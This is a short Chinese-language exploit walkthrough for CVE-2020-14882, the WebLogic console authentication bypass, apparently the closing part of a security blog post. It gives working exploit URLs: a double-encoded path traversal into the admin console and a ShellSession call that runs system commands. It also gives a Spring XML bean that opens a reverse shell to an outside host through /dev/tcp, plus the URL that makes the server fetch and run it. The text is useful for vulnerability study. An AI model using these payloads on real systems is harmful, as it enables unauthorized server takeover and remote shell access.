http://10.140.32.159:33401/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29,通过这个地址就能够进入后台
命令执行操作:
http://10.140.32.159:33401/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/CVE-2020-14882%27);%22);
命令执行成功

反弹shell
创建一个xml文件

1
2
3
4
5
6
7
8
9
10
11
12
13
# reverse-bash.xml

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/172.24.0.1/5555 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>

访问下面url即可进行shell反弹
http://10.140.32.159:33401/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://172.24.0.1:8080/cve-2020-14882-reverse-bash.xml")

参考:CVE-2020-14882:Weblogic Console 权限绕过深入解析 - 360CERT

参考

weblogic漏洞大杂烩
Java安全之初探weblogic T3协议漏洞 - nice_0e3 - 博客园 (cnblogs.com)
Weblogic - 系列 - Y4er的博客
修复weblogic的JAVA反序列化漏洞的多种方法 | WooYun知识库 (xmd5.com)
Weblogic12c T3 协议安全漫谈 (seebug.org)

注:本文首发于https://xz.aliyun.com/t/12947&https://xz.aliyun.com/t/12964